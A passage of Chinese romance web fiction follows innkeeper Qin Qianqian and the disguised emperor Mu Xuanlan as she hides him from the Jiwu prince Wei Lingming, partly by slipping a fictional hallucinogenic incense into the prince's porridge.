让向来运筹帷幄的人，对身边所有事情失控，这种感觉不会太美妙，不过穆轩岚觉得她不会害自己，就乐意放手了。
“首先，咱们不能在屋里吃饭了，以后出去吃。”
自从穆轩岚来了后，两个人除了去外面闲逛，一日三餐都是在房中吃的。
之前秦千千只当久别重逢，他不想看自己跟别人说话，便由他去了。可现在既然要治病，那就要一点一点一点改变他偏执的做法。
穆轩岚稍稍不悦，但还是默许了这个做法。
上次在吵嚷的大厅中吃饭，还是当初跟她巡商的事情了，嘈杂的人群嚷得穆轩岚不由得皱眉，哪怕有秦千千坐在他身边，他也越发烦躁起来。
本来秦千千还跑去后院中端菜，可看到他越发紧绷的表情，便不再起身，而是牵着他的手，坐在他身边。
“给你说个好消息。”
看他兴致缺缺，秦千千就得让他解解闷。
“嗯，什么？”他尽量打起精神，可依旧难掩眉眼间的倦色。看得秦千千心疼坏了，自从知道他尺页吃不下，睡也睡不好，她心都快碎了。
“刚刚去后厨的功夫，我还做了一道菜呢，你待会儿看能不能吃出来味道。”
他没有味觉，是最让秦千千担忧的事情。一切调养的根本都在于吃得好，结果他吃什么都没有味道，更别说会有食欲了。
这种事情急不得，秦千千准备慢慢来。
穆轩岚看向桌上的七八道菜，虽比不上宫中御膳房的菜品精致，但看得出来还是有手艺在里面的。会有千千做的菜吗？还是说，她是在诓骗自己？
他心中思绪万千，秦千千刻意清了清嗓子，问他在想什么呢。
让他有话就说，不在心里闷着，也是秦千千要提上日程的事情。
“我在想，你是不是在骗我，毕竟，你可是十指不沾阳春水的人何时学会做饭了？”
之前他假冒白邵禾跟她相处时，就步步谨小慎微，字字反复斟酌，生怕漏了馅。现在突然让他坦诚以待，穆轩岚还真有些不适应。
不过，他得逼自己慢慢习惯了。
秦千千不屑地“嘁”了一声，“做饭有什么难的，我一看就会好不好？”
穆轩岚只当她是夸张的说法，可等菜上齐了，他却发现她说的是真的，是指，她真的做了一道菜。
“我发现我觉醒了一个天赋。”穆轩岚松开两人交握的手，毕竟不能霸占着她右手，让她用左手吃饭不是？
秦千千轻叹一口气，她察觉穆轩岚接下来的话，并不会是什么好话。
“……说来听听。”
“我能一眼分辨出哪道是你做的菜。”
秦千千咬牙切齿地瞪着他，穆轩岚低头浅笑的时候，云彩的声音悠悠传来。
“咱们家大厨怎么炒个包菜都能糊锅？怕不是某人又去厨房捣乱了吧。”说罢，云彩就看着对面的秦千千。
元德想笑不敢笑，他忍得甚是痛苦。结果一抬头，看到对面的殿下眉开眼笑的，元德心中也舒心了很多。
秦千千抬手指了指云彩，算是警告。
“你就庆幸坐在我对面吧，不然，一顿打你是跑不了的。”
云彩朝她耸耸鼻子，拿起筷子开始吃饭。
饭桌上秦千千没闲过，她一直在给穆轩岚夹菜，荤素搭配，可唯独没给他夹自己的“大作”。
云彩嘴上不饶人，但她吃的第一口菜，还是那盘素炒包菜。骤然难看的表情，昭示了这道菜的味道。
后来捧场的元德，吃完之后，用尽浑身解数，才维持表情不崩……
又苦又有一股烟熏味儿，实在让人难以下咽，哪怕伸长脖子咽下去了，也会被呛得想咳嗽。
元德心想，能把素菜炒出这种水准，老板也算是有本事了。
秦千千可不想摊上“谋杀亲夫”的罪名，本来准备露一手的，结果漏了馅……不给他吃就是。
一旁不知情的云彩，就觉得很是奇怪。
这家伙手脚好好的，为什么非要让秦千千给他夹菜？而且还一副很受用的样子，他就没发觉这样很耽误秦千千吃饭吗？
云彩不懂，这就是两个家伙你情我愿罢了。
“不给我尝尝大厨炒的菜吗？”穆轩岚抬了下下巴，而后忍笑看着秦千千，她无奈叹气，只能答应。
他非要上赶着吃苦，那自己也没办法。
这次秦千千没有再把菜放进碗里，而是右手夹着菜、左手在下面接着，直接送到了他嘴边。
云彩皱眉白了她们两个一眼，然后低头吃自己的饭，元德也是埋头苦吃，根本不敢抬头看。
有人敢旁若无人地亲昵，那就要有人负重前行。
穆轩岚抬眸看着秦千千，心满意足地咬下去，在秦千千期待的眼神中，他就那么神色如常地吃了。
一旁看热闹的云彩和元德，惊诧地对视了一眼。云彩在震惊这么苦他都吃得下，元德则是震惊爱屋及乌的力量如此强大。
这种菜若是在皇宫端给殿下，估计厨子是要被赶出御膳房的……现在殿下不仅吃了，还吃得津津有味。
“好吃吗？”秦千千皱眉问他。
穆轩岚端起旁边的汤碗，抿了一口清汤，“有一点点苦。”
这下轮到秦千千震惊了，她又试着给他喂别的菜，结果除了那一抹苦味，他还是什么都尝不出来。
直到这时候，云彩才知道，这家伙原来尝不出味道。昨天她刚好跟元德碰上，才从他口中，了解到他们二人的故事。
云彩很少说谁惨，可她觉得这两个人都惨，彼此都互相亏欠着对方。她那时候才懂，为何
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这两个人要天天腻歪在一起没个够。
“这多好办，我建议以后千千做饭给你吃就好了，说不准，能把你的口味早早调过来。”云彩瞟了一眼秦千千，嘴角微微上扬。
秦千千再清楚不过，她恐怕又要揶揄自己了。
“不过你要是想吃好的，那就得让千千提升提升厨艺了。”
……
秦千千眯着眼没好气地看着云彩，早就吃饱了的她撒丫子就跑，一溜烟跑回屋中不见了。
元德也就还有两口饭，让他坐在这里，简直跟生不如死没区别了，他也火速吃完饭，起身离开了。
“你可别听她胡说，这绝对是个坏主意！”秦千千这才开始拿起碗吃饭，这下轮到穆轩岚给她夹菜了。
他点了点头，附和道：“的确不是好主意，让你做饭会累着你的。”
秦千千倒是没想到，他会这么说，这让她心里感动的一塌糊涂。
“其实我的意思是，吃我做的饭，病还没治好呢，保不齐你就先中毒了。”
穆轩岚失笑，哪会有那么严重？秦千千这才给他讲起，这新铺子遭遇过的，最大的一次危机。
“什么？你做个饭差点把整个铺子点了？”
“嘘嘘嘘！”
秦千千急得就要去捂他的嘴，穆轩岚笑个没完，他是真没想到，样样精通的人，竟然在厨艺上跌了跟头。
吃过饭，穆轩岚非要去后院看看，秦千千就陪他去。没成想，穆轩岚承诺明天给她做饭吃。
“嗯？殿下，你什么时候会做饭了。”秦千千讶异。
这衣来伸手饭来张口的金枝玉叶，竟然还会做饭？
穆轩岚颇为神气地点头，让她等着吃就是了。秦千千当即决定，明日早饭就不下楼吃了，穆轩岚做的好饭，得自己独揽才行。
当时两个人谁都没想到，晚上却来了一伙不速之客，穆轩岚连门都出不去了……
云彩把房门敲得震天响，穆轩岚本来想去开门，结果被秦千千按在椅子上。
一般云彩这么敲门，都是有紧急情况，穆轩岚身份特殊，秦千千不能让他犯险。
果然，秦千千刚把门打开，云彩就扒开门缝钻进屋里，她上气不接下气地关上屋门，倚着门告诉她大事不好了。
“怎么就大事不好了？”
“魏凌鸣他带着人又来了！”云彩恨得牙痒痒，听了这名字，秦千千的表情也严肃了起来。
穆轩岚没有问，可他大概知道那人是谁了。
风陵一面毗邻南梁朝，另一边接壤一个崇尚武力的国家——吉武国。在那里，魏是国姓，唯有皇家才能用。
“他怎么来了？”秦千千透过窗纸往外面看，听着外面吵吵嚷嚷的，她心中一惊有了盘算。
“一定是你的暗卫给他发现了，魏凌鸣可不是什么善茬，若是让他知道你在这里，指不定要放把火烧光这里。”
秦千千给穆轩岚分析，穆轩岚还没说话，云彩就插了句嘴。
“放心吧千千，他把整个风陵杀光，也不会杀你的。”
秦千千飞了她一记眼刀，再转头看向穆轩岚时，他脸上的表情很是微妙。
157. 再不怕提及当初的事情了
“哦？那他到底是谁。”
秦千千前脚打发云彩走，刚关上门，后背就抵上穆轩岚的胸膛，他声音低沉地问道。
“魏凌鸣，就是吉武国的皇子，他整日带兵在边线，盯南梁朝最紧的，就是他。”
也是最期望两国打起来的，吉武国皇子个个勇猛，但排兵布阵策略上，别的皇子都差魏凌鸣一大截。
若是能在选定太子前遇到一场战事，那他称王的概率就很大。
听她分析情况，穆轩岚觉得似乎又回到了当初一同巡商的日子，那时候不管遇到什么事情，她都能详细地说上几句。
他面色突然柔和了很多，秦千千歪头看他，问他在想什么呢。
本以为他会发现什么，结果他现在并没有揪着不放，秦千千别提多开心了。
“我只是在想，他到底有多喜欢你。”他眼神考究地看着秦千千，果然，听到这话她笑不出来了。
“千千！你快些梳妆打扮，到楼下见魏公子啊！”
云彩高声呼唤她，秦千千知道，这是云彩快要顶不住的暗号。
再说，魏凌鸣那家伙，进店中只要没看到自己，那就是三步并作两步往楼上跑……
眼前的穆轩岚却不慌不忙地走进她，双手环上她的腰，颇有一种不放人的架势。秦千千只得好声好气安抚他。
“千万别误会，那是我跟云彩定的暗号！我当初来这里的时候，阴差阳错认识了他，因他的势力在这里更快站稳脚跟了而已。”
秦千千一边解释，一遍焦虑地看着门外，她是真怕魏凌鸣推门而入。
他随队朝拜过南梁朝的国主，更知道当今皇上的样貌，千万不能被他察觉，穆轩岚在这里。
穆轩岚耳朵灵敏，他听得清楚，除了云彩下楼的脚步声，再没有别的声音。可他故意不告诉千千，他喜欢看她方寸打乱的样子。
“嗯，然后呢？你们不应该因此亲近起来？”
秦千千一脸坦诚，她赶忙摇头：“真的没有，他来我这里住店，我每次都是加倍收钱的！”
穆轩岚突然笑了，看来她的确挺烦魏凌鸣的。
“嗯，然后呢？”他又往前凑了凑，两个人几乎额头抵额头了。
她怔住了，不管看多少次这丰神俊朗的样貌，她都会为之感叹，好俊俏的殿下啊！
心意微动，她直接踮脚亲了上去。
一吻结束，在秦千千抿嘴偷乐的时候，穆轩岚缓缓松开了手。
“去吧。”他心满意足地说。
秦千千却愣住了，她还不知道他刚刚为何拦着自己呢，这可就脱身了？
说好了互不隐瞒，她就坦诚地问穆轩岚，他愣了一下，本已放下的手又再度去而复返。
“那你刚刚为什么要亲我？”
“你这么英俊，我忍不住呗。”秦千千小声嘟囔。
这话听得穆轩岚心中愈发满意，他浅挑眉头，脸上的笑意更甚。
门外云彩的惊呼再度传来，秦千千这才安抚好他，推门离开。
刚关上房门，秦千千转头就看到已经走到二楼的魏凌鸣，她专门把房间选在楼梯对面，为的就是能看清上楼的人。
魏凌鸣朝她笑着招手，秦千千什么话都没说，但他已经不再往楼上跑了。之前强闯三楼，她为此发了好大的脾气，魏凌鸣是长记性的。
秦千千意外地微微瞪大眼睛，魏凌鸣这家伙今日怎么换了行头？
往常他都是身着藏蓝秀金纹长袍，披着皮毛大氅，腰上叮叮当当挂了一大串金银玉器，再加上他走路本就很有气势，器宇轩昂的，尽显霸气本色。
今日，他却一改常态，穿上了南梁朝常见的素白长褂，头发也高高束起来，手中竟然还拿了一把扇子，俨然一副书生装扮。
“魏公子，莫不是抢了哪个中土书生行头？”秦千千一边说，一边往楼梯那边走。
魏凌鸣目光紧紧跟随着她，旁人这么取笑他，他早就怒了，可秦千千这么说，他却只笑着看她。
屋中的穆轩岚，把魏凌鸣那如痴如醉的表情看得清楚，他心中很是不满，可为了顾全大局，自己现在什么也做不了。
“说笑了千千，我这不是觉得你会喜欢，所以专门置办的嘛。”
平时的魏凌鸣，接人待物都有种与强势外表不同的柔和，今日更是特别彬彬有礼，倒是给秦千千看出一些书生气来。
秦千千扶着栏杆往下走，哪怕只看侧颜，穆轩岚也看得出她嘴角带笑。
“是的，我挺喜欢的。”
穆轩岚的视线被栏杆挡住，他现在只能听楼下的声音，饶是平时最能沉得住气的人，也有些坐不住了。
“你喜欢就……”魏凌鸣还没说完，秦千千就利落地打断了他。“我是说我喜欢这衣服，魏公子眼光不错。”
魏凌鸣被噎得鼻息都重了两分，不过他早就习惯秦千千这样了，没办法，这只能怪自己。
当初两个人刚认识，她待自己很好，也从未跟现在这般严防死守，特别看不惯自己。
怪就只能怪那天的酒太醇，他又太心急……
在得知自己喜欢她的当天，魏凌鸣就提着两壶老酒去找她坦白一切。秦千千当场就拒绝了他，不过她当时态度还算温和。
后来魏凌鸣一着急，就过去牵她的手，结果被秦千千躲开，他又愈发过分想要去抱她……
自那以后，她就非常不待见自己。
“千千，我带着十几个人，要住在你们这里一些时日，帮我们安排房间吧。”
魏凌鸣神色如常，今天这店他是住也住得，住不得也要住。
秦千千从未阻挡过这家伙来送钱，谁跟钱过不去？她当即点头，路过魏凌鸣时，她脚一崴差点摔倒，魏凌鸣赶紧顺势扶住她。
把人圈在怀里的一瞬间，一股芳香扑鼻，香的魏凌鸣心已经飘飘然了。可他不敢声张，只敢悄悄多闻两下。
秦千千搭在他胳膊上的手，也无意间抓紧他衣袖，不过片刻，她就站直了身体。
可她手却并未松开，拉着魏凌鸣就往下面走，也不管他被抓着右手，下楼有多不方便。
魏凌鸣眉开眼笑的，哪还顾得上什么下楼不方便？等走到一楼时，秦千千立马松开了手。
“老规矩，酒菜原价，住宿三倍，你觉得如何？”
虽说
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不跟钱过不去，但秦千千这次为了穆轩岚，她还真不想赚这些钱。
楼上的穆轩岚也听出来，她为自己真是煞费苦心了，他自然也察觉到，自己在她心中的分量很重。
很好，虽然出不去门，但他现在心情十分畅快。
魏凌鸣几乎没有犹豫，“当然可以！”
秦千千凌厉抬眸看着他，对上这眼神，魏凌鸣呼吸一滞，这通常是她要耍人的暗号……
不过魏凌鸣心中有底，他之前被秦千千喊人揍过，没下死手，只是痛而已。
“我说的是之前你房价的三倍。”她当场反水，一脸任性地看着魏凌鸣。
“嗨呀，这绝对没问题！小二，快快快，给我们这十几个兄弟安排上房吧。”
元德虽然才来几日，可他知道，上房就是二楼三楼的房子。现在殿下完全没出面，秦老板也故意隐瞒着殿下，那就证明有猫腻，他自然不能把危险引去殿下身边。
元德站在原地不动，魏凌鸣这才发现他是个生面孔，他转头仔细端详元德。
“新招的伙计？”
魏凌鸣抬手指着他，秦千千当即就把他的手按了下去。在吉武国用手指人没什么问题，可在南梁朝，这是极其不礼貌的行为。
“不许指他。你还跟之前住的房间一样，一楼的房间随便选就是了。”
不等魏凌鸣说什么，秦千千就拉着他的衣袖，亲自带他去房间。
“别说本人不待见你，走吧，我亲自送你去房间。”
拉他走时，秦千千还转头叫云彩，赶紧把别人都给安排了。安置好魏凌鸣，秦千千火速带着元德上楼。
为了方便保护穆轩岚，元德的房间就在三楼，只不过不是紧邻她们房间，而是隔了一个空房间。
秦千千走进元德房间叮嘱他，今明两天他的任务就是守好穆轩岚，不许魏凌鸣的人闯过来。元德自从听到他的身份，就知道了自己的使命。
这边安顿好后，秦千千这才回屋。可推开门却并未发现房中有人，在她心下一惊冲进榻前查看的时候，穆轩岚却从门后现身吗，从背后抱住她。
“你不是那种跋扈之人，他除了追求你，是不是还惹过你？”他问道。
从秦千千毫不留情的话语中，穆轩岚听得出来，两个人绝对有什么过节。不然，千千是不会把事做的那么绝的。
“对啊，他当初不仅找我倾诉真情，还拉我手，在我避开后，还想来抱我。”
秦千千说起当时的事情，话语中全是幽怨，穆轩岚听出几分委屈，这是跟自己告状，想让自己替她报仇吧？
他眼神中寒气凛人，只不过秦千千看不到。
“没事，我替你收拾他。”
谁知秦千千却笑着歪头看他，“哪用的得着你出手？我当时就喊人把他揍了一顿，报仇这种事情，我可等不了两年……”
意识到自己说了什么，她突然愣住，眉眼间全是错愕。反应过来后，她轻叹一口气。
穆轩岚就看着她脸上五花八门的表情失笑，既然她们重逢了，那他就不怕提起当初的时光了。
“很好，你没受欺负就好。”他笑着说道。
158. 为了你就得委屈他
秦千千跑去翻脂粉匣，穆轩岚就在一旁打量她的簪钗。
好看，但不够精美，比起宫中匠人的手艺，算是差远了。
回京时间还没商定，穆轩岚就已经决定要在方方面面弥补她了。
秦千千感叹一声“找到了”，从匣子中拿出巴掌大的一个骨瓷方坛，那上面还有金线掐丝，描摹出一副百花争春的风景，甚是好看。
“这是什么？”穆轩岚倚在桌边，疑惑地问她。
她嘴角微微上扬，“忘忧香，我主人送我的，能让魏凌鸣致幻，看不清你的长相。对了，你得戴上这个。”
说着，她从木屉中拿出一个润白的玉佩，递给穆轩岚。穆轩岚问道些微香味，他才发觉这玉佩是闻香玉。
而这圆形龙纹玉佩，他总觉得似曾相识。
看着他考究的眼神，秦千千不让他猜了，直接告诉了他。
“你见我主人那晚，她就戴着这个的。”
穆轩岚这才恍然大悟，是了，怪不得自己眼熟。想到那天，他就想起一间更为重要的事情。
“当初你给我的最后一吻，想必也是下的这个药吧？”他意有所指地问。
秦千千手上动作加快，把玉佩系在他腰封上，而后讨好似地抱住他。
“情势所迫，我等不到药效慢慢起作用，只能出此下策……，而且这个东西对身体无碍，真的！”
秦千千生怕他信不过自己，越说越着急，穆轩岚只故作不满地看着她，逗得她方寸打乱时，才低头跟她额头相抵。
他本意是告诉她，真傻，自己怎么会跟她生气。结果她满心满眼都是歉疚不安，在他贴上来的瞬间，就偏头亲了上去。
两人亲密时，秦千千主动的时候很少，她向来都是乖顺地迎合穆轩岚，现在可能是内疚作祟，让她极为主动。
穆轩岚很是讶异，鲜少见到她如此强硬的时候。不过为了方便她，穆轩岚还专门微微弯腰，秦千千手勾住他脖子，他的手又习惯性地环上千千的腰肢。
其实吻到一半，秦千千已经羞到不敢抬眼看他，这是穆轩岚从她越发僵硬的肢体动作中，读出来的。
此时若是她抬眸，就会发现穆轩岚眼中皎洁清明、盛满爱意。可她不敢睁眼，穆轩岚偏偏要她看着自己。
攻守易势，两人又回到往日的状态：他主动，她迎合。
不一会儿，秦千千就有些喘不过气来，她心中甚是疑惑，穆轩岚平时也不会这么不顾及她的感受，现如今难不成是真的生气了？
可她不敢抬眸，便微微向后撤，希望穆轩岚能读懂她的按时。结果他亦步亦趋，探着上身又跟着她。甚至还惩罚性地咬了她一口……
“嘶……”
秦千千缓缓抬眸，她预想中本该有几分怨气的眼神却并未出现，取而代之的是温柔似水、还眼尾噙笑的目光。
“傻不傻，我难道真的会怪你吗？”穆轩岚用头轻轻碰了一下她的额头，复又想起别的事情，“那你要怎么给他用药？”
眼下药效越快见效越好，让他吃是最快的办法，当初她是以那种亲密的方式给自己下毒，那……
穆轩岚心中顿时醋意大发，火气骤然涌上心头，让他来不及思考，那是根本不会发生的事情。
秦千千察觉他眼神又幽怨了起来，便知道他这会儿脑子怕是只顾着吃醋，脑子已经转不动了。
“他啊，我向来吃什么都抢着跟我吃，给他下药那可太轻松了。”
她用最简短的语言，把这事儿解释清楚，生怕穆轩岚误解。气大伤身，她不想穆轩岚再多想。
果然，秦千千只端了碗粥送去，魏凌鸣便毫不设防地接过粥，为了让她多留一会儿，还专门当着她面吃。
“千千，你知道我这次来是干什么的吗？”粥有些烫，他一边搅动米粥，一边殷勤地没话找话。
审时度势可是秦千千最会做的事情，她现在有求于魏凌鸣，自然得顺着他一些。
“为了找我炫耀这身衣服？”
但也不会特别顺着他。
魏凌鸣被她逗笑，他心中腹诽，难不成自己在她眼中就是这般无聊的人物吗？
“自然不是……，不全是。其实是我的手下发现，南梁朝皇帝的暗卫，居然跑到了这里，这种重大消息，我不得提前过来侦查一番。”
秦千千下意识地皱眉，她毫不掩饰自己的惊讶。
魏凌鸣知道她平日以贩卖消息为生，若是不表现的惊讶些，他就会反过来问，她是何时知道的消息。
而她也确实惊讶，平素暗卫行事极为严谨，现在竟然能落人这么大的把柄……看来，她回去得提醒一下穆轩岚，好好敲打一下他手下的人了。
“他的人怎么会在这里？”她问。
魏凌鸣盛起一勺粥，放在嘴边吹凉，听到秦千千的话，他就有些许得意地抬眼看着她。
“你竟然不知道？不过也正常，你那些线人比我的正规军还是差远了……”
秦千千皱眉瞪着他，她起身就要把放粥的托盘抽走，“不想吃你现在就走。”
“开玩笑，我开玩笑呢！”魏凌鸣赶忙按住托盘，“本想再跟你提一次合作的事情，看来你还是不同意咯？”
他满眼期待地看着秦千千，美其名曰是合作，其实就是他愿意把自己的消息共享给她，唯一的要求就是娶她。
变相骚扰她罢了。
秦千千没好气地白了他一眼，而后双手交叠在胸前，“云彩！”
魏凌鸣不用想就知道，下半句话一定是“送客”。不能再耍宝了，不然，一定会被她轰出去的。
他抬手制止她，秦千千无声看着他，魏凌鸣吃了一口粥，这才缓缓开口。
“我的人探得的消息说，那些暗卫在找人，从彩霞市集，跟到你们酒楼。我想起你不是从中土来的，不会是你的仇家盯上你了？”
对于秦千千的身世，他知道这么多，也只知道这么多了。
从中土逃来的、身份不明却有奇才的经商小能手。
这是魏凌鸣对她的第一印象，满打满算两人已经认识三年了，可他对秦千千的了解，还是只有这些。
秦千千认真了起来，她微微歪头，十分不赞成他的话
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“我这里三教九流什么人都有，你这话说的真没道理。再说，暗卫可是听从皇帝调遣的人，你太抬举我了，南梁朝的皇帝能认识我？”
她撇了撇嘴，还颇感好笑地摇了两下头。魏凌鸣边听她说话，边喝粥，等她说完还不忘反驳她。
“嘁，他是什么很了不起的人吗？你连吉武国的皇子都认识，那皇帝不认识你那是他有眼无珠！”
看着眼前“痛骂”穆轩岚的人，秦千千相当无语地叹了口气。魏凌鸣贬低谁不好，偏要贬低穆轩岚，文武韬略，他哪一点都比不过穆轩岚。
可看在自己正在给他下毒的份上，秦千千就忍了下去。
秦千千佯装赞同地点头，看他把粥喝的差不多了，就准备起身离开。可魏凌鸣却起身跟着她，免费的小二不用白不用，她指使他去后厨送托盘。
看着他不情不愿地离开，秦千千转头去找云彩，云彩已经倚在门边等候她多时了。
秦千千刚进门，云彩就跑去衣柜边，拿出巴掌大的一包东西，塞给她。
一股略显刺鼻的味道传来，像是草药，但是极苦的那种。秦千千另一只手赶紧捂住鼻子，可就在一刹那，她脑中突然有种似曾相识的感觉。
这个味道……
“这可是能救你心上人的神药，还没想起来？”云彩开口提醒她，秦千千这才想起来。
当初她来这里水土不服，再加上忧思过度，买了云彩没多久，她就病倒了。云彩当时并未习惯与人打交道，更别说为她请大夫了。
可云彩看得出来，她这就是要死了。正当她不知道该怎么办的时候，就想起她唯一听过的神药——龙胆叶，一种能够起死回生的药。
云彩当时抢走秦千千的钱袋子，鼓足勇气跑到黑市上买了几株龙胆叶回来，没想到，还真救回了她。
“你那天在屋里搜罗钱财，就是为了买这个？”虽说是救命药，可秦千千还是被熏得略微嫌弃。
云彩点了点头，自顾自地坐下倒了两杯茶，秦千千手中的药放也不是，不放也不是，最后，还是先放在了桌子上。
“要不是看你那么宝贝他，我才不会替你买呢，这东西滋补身体正好，你早些熬熬喂他，他能好的快些。”
相处三年，秦千千早就摸透了云彩的脾性：脾气不好，但对待亲人很真诚。当然，目前她认可的亲人只有自己一个。
秦千千原本最担心的，就是云彩跟穆轩岚相处不好，现在她则是可以放心了。
“我代他谢谢你，不是为了这个，你也没必要去一趟黑市了。”秦千千认真地说道。
当初云彩就是在黑市被拐走的，中途她跑出去过一次，本以为逃到纷乱的黑市中会安全，结果那里遍地都是坏人的眼线……
自那以后，云彩就很害怕去黑市。如非必要，她是坚决不会去的，当初为了秦千千，是她咬牙也得去。
现在虽说秦千千势力大了，可云彩还是不愿意涉足那里，秦千千也一向注意这点，从来不强求她。
“得了，你回去跟他说说，少让他的人尾随揍我就行了。”
159. 回京之事还得搁置
秦千千差点被水呛到，她这意思是，穆轩岚交代手下的人去收拾她？自己怎么不知道。
“什么时候，他最近一直跟我在一起啊？”
云彩眯了眯眼，还能是什么时候，当然是自己那天掐了千千脖子之后……
她原本好心去买神药，结果刚出酒楼，就发觉有人跟着她，在她逃到黑市后，跟踪的人并未消失。
在大街上或许还会有人见义勇为，可这是黑市，哪怕当街被捅死，也不会有人站出来说一句话。云彩也知道没法了，只能甘愿被抓。
“他们怎么你了？”秦千千急切地问她，云彩却朝她摆手。
“嗨呀，他怎么敢真收拾我？就掐着我脖子吓唬我而已。再说，这两天我不是好好的嘛。”
秦千千这才长出一口气，穆轩岚不是没有分寸的人，看向云彩时，她还是歉疚的不行。
“云彩，对不起。”
“别说那些有的没的，快些拿东西走吧，记得跟他交代一声啊！”
她当即被云彩推着背赶出门，云彩也出门招待客人去了，秦千千上楼交代元德去给熬药，自己又回了屋。
穆轩岚坐在书案旁，百无聊赖地翻着她搜罗来、打发时间的话本子，其中有讲志怪传说的、有讲恩怨情仇的、还有……朝代纵览？
他平日里看书就快，待在屋中这一日，已经把能看的都看了，现在闲着也是闲着，便拿起那本朝代纵览翻看起来。
没成想与普通朝代记事不同，寻常史记记的都是大人物的故事，寻常百姓自然没有青史留名的机会。
可他手中的这本朝代纵览，讲述的却是历朝历代，几件包子铺的事情。盛世时他们去哪些地方卖包子，乱世时又去哪些地方避世……语言诙谐，通俗易懂。
在他孜孜不倦翻看这本书时，秦千千回来了。她扫了一眼就知道他在看什么，毕竟，她的桌案上只放了那四本书。
“怎么样，得手了吗？”他放下书问她。
秦千千朝他挑了下眉，“轻轻松松呀，不过为了保险起见，你明日中午再出门吧，我明天得再给他送两碗粥巩固一下。”
说着，她走到穆轩岚身边，看半天书有没有什么心得。
穆轩岚失笑，调侃她应该早些说，自己还能给她写出几页感慨来。
谁知道她痛心疾首地感叹：“失算，真是失算！”
原来姜千秋为了不让她太过无聊，隔一段时间，就会从天南海北给她搜罗些奇书给她读，还要她从中悟到些什么，在下次见面的时候问她。
穆轩岚早就知道姜千秋把千千教导成人的，可没成想，哪怕到现在，这种教导也没有停止过……
“这些都是她给你搜罗的书？”穆轩岚失笑，“志怪小说中有什么好学的，难不成学走夜路不要回头？”
她俯身把那几本杂书往旁边一推，“当然不是，近期的任务是这本书，其它都是我搜罗来解闷儿的。”
穆轩岚看着眼前的历代包子铺概览，心中升起一股好奇，从这里面到底能学到什么呢？
她故作高深地在屋中踱步，绕过桌案，站定在穆轩岚面前，像说书人一般，还专门抄起桌上的一把折扇，往手心一敲。
“这问题问得好！我觉得主人是想让我学会，书中人的豁达通透，该走该留这个问题，要有自己的考量。”
只有这条，最符合她当时的现状。
当初她走的不安心，又不能忽视一切留在他身边，两方纠结中，让她为之痛苦不堪。这本书她花了三年时间，才领悟到这一点。
穆轩岚惊讶于这本书她竟然看了三年，也就是说，这三年中，姜千秋也与她没有见面吗？
这个猜测得到了秦千千的证实，她也是在重逢后，首次披露她的这三年。
“在我看来，这跟我死了真的没区别。亲朋好友彻底断绝联系，与挚爱之人算是阴阳两隔，就连之前对我呵护备至的主人，也未在与我碰面。”
这场灾难，让两个人都付出了惨痛的代价，开朗如秦千千，提起曾经的事情，脸上也是难掩颓色。
穆轩岚看在眼里，痛在心里，可不等他出言安慰，秦千千就说出了他绝对没想到的话。
“最近几日你好好修养，朝政离不了你，你早些回去，我这边事情办妥了，我就早日……”
回京两个字还没说出口，穆轩岚就噌地起身，他不可思议地看着千千，不懂她现在为何还要说，让自己单独回去的话。
他们不是说好了，处理了云彩的仇人后，就一同回京的吗？难不成现在又生出什么变故？
秦千千摇头，不是变故，是她当时为了安抚穆轩岚，没有把情况交代清楚而已。
那群人不是普通的贼匪，他们背后的靠山，就是魏凌鸣的大哥——魏广遥。
也就是说，暗卫若是出手屠戮了他们，那就彻底跟吉武国撕破了脸，届时就不是私人恩怨了，而是国与国的斗争。
“我可以处理的，只不过要再等一下时日，所以，我这次真的不会抛下你不顾，只是晚些回京而已……”
秦千千有些祈求地看着他，穆轩岚看她这般模样便心疼，可他知道，自己不能松口。
斗争难免有伤亡，若是她为此受伤，穆轩岚不敢想自己到时该怎么办？上苍已经顾怜他一次了，绝不可能再有第二次。
“我不会走的，既然你要留下，我就陪你留下。”他态度坚决，完全不为她说的国事所动摇。
早在两人“天人两隔”前，穆轩岚就想过，将来他称帝，决计不做被国事牵绊、畏首畏尾之人。而此时，正是他设想过的处境。
来的路上他就让元德查过风陵，更了解过吉武国。
铁骑踏平这里不是不可能，只不过地广人稀，加上生存环境恶劣，攻占风陵和荡平吉武国，根本没必要。
可这不代表他不能。
秦千千看懂了他眼底燎原的野心，便立马阻止他想下去，她晃了晃他的手，服了软。
“好好好，那你就在这儿多住些时日，我还舍不得放你离开呢。”
听到这及时的奉承，穆轩岚心中的杀意渐渐平息，心神缓缓回归当下。
夜幕
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降临。
本来一切都好好的，看着躺在自己怀中的秦千千，穆轩岚心神平静地听她讲有趣的见闻，直到门外响起敲门声。
“千千，你们睡了吗？”云彩的声音传来，穆轩岚不耐烦地抬眼，秦千千赶忙哄他两声就起床去开门。
“怎么了云彩？”秦千千开门看着云彩，云彩已经急得不行了，可在她说话前，又愣了一下。
下一瞬间，一间披风被披上秦千千的肩膀，云彩不自在地咳了两声，这才继续说。
魏凌鸣不知道从哪回来，满身是血，云彩原本是背对着他的，可血腥味太重才熏得她转头查看。
他还派人赶走了店中所有客人，云彩正准备找他理论，却被他呵斥，还说那些人的钱他照赔就是了。
“千千你说，他这样子，咱们店的生意还做不做了？”
这样下去肯定不是办法，秦千千沉声说让她去看看，还没走，却被穆轩岚拉着胳膊拦住。
“夜凉，换身衣服再去。云彩，你去隔壁的隔壁叫元德，待会儿他跟你们一起下去。”
云彩点头，立马离开。
穆轩岚站在衣架旁边，一件一件给她递衣服，秦千千长叹一口气。她刚起床的时候，生怕他着凉，还专门替他掖了掖被子，可他还是起来了。
“你快些去床上躺着吧，别着凉了，我马上就回来。”秦千千穿得差不多，外衣披上，她就赶忙推穆轩岚回床。
结果他任由她动作，跌坐在床上后，他就正好趁势给她系腰带。
“我等你。”
他没有关切楼下的情况，因为他笃信秦千千能处理好，就像这三年间她做得那样。
秦千千刚出门，倚着栏杆往下望，就发现魏凌鸣端坐在厅中，一杯又一杯地喝着闷酒。而且应该喝了不少，不然在听到开门声后，他应该会立马抬头的。
给楼梯边站着的两人递了眼神，秦千千让她们在这里等着，她要自己下去。
走到二楼时，魏凌鸣才发现她下楼，紧皱的眉头算是松开了些许。
“我又吵醒你了吗？”他嗓音干涩，心情似乎很不好。
“你上次把我店中客人轰出去，还是两年前，今天这是怎么了？”
她坐在魏凌鸣对面，打量后才发现，他衣服干净整洁，看来是换过衣服了。
魏凌鸣举起手中的酒杯，算是敬了她一杯酒。
“本来是在跟南梁朝暗卫的，跟到了我大哥的地盘，然后……，大哥的人莫名其妙跟我们打了起来。”
秦千千垂眸，掩去眼底的清明，她知道是谁从中捣乱了，除了穆轩岚还能是谁。
